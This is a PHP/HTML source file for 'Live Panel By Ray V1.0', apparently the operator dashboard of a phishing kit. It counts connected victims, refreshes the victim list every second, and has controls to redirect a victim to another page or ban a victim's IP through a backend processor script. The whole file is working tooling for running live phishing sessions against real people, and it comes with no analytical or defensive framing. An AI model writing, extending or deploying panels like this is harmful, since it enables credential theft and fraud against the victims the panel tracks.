<?php 
require "classes/Jeehan.class.php";
if($_SESSION['admin']==""){
	header("location: login.php");
	exit;
}
?>

<html>
<head>
<title>Live Panel By Ray V1.0</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<link rel="stylesheet" href="res/style.css">
<script src="res/jq.js"></script>
</head>
<body>
<div class="header">
Live Control Panel
</div>
<div style="padding:10px; font-size:0.7em; background:green; color:white;">
<b>Notes:</b><br>
-> Any victim you see here is connected and already in one of the pages. (Only online victims appear)<br>
-> Double click the button to redirect the victim. And wait for redirection(It may take some milliseconds)
</div>
<div class="list-section">
<h3>Connected Victims: <b id="victims-counter">0</b></h3>

<div class="list" id="v-list">

</div>

</div>
<script>
function ban(ip){
	var conf = confirm("you sure want to block this victim? :o");
	if(conf){
	$.post("process/processor.php",{ban:ip}, function(done){
		alert(done);
	} );
	}
}


function redirectVic(page, id){
	$.post("process/processor.php", 
	{pageID:page, vicID:id} );
}

setInterval(function(){
	$.post("process/processor.php", 
	{getOnlineVics:1}, function(data){
		$("#victims-counter").html(data);
	} );
}, 1000);

setInterval(function(){
	$.post("process/processor.php", 
	{getVictims:1}, 
	function(done){	
		$("#v-list").html(done);
	});
}, 1000);
</script>
</body>
</html>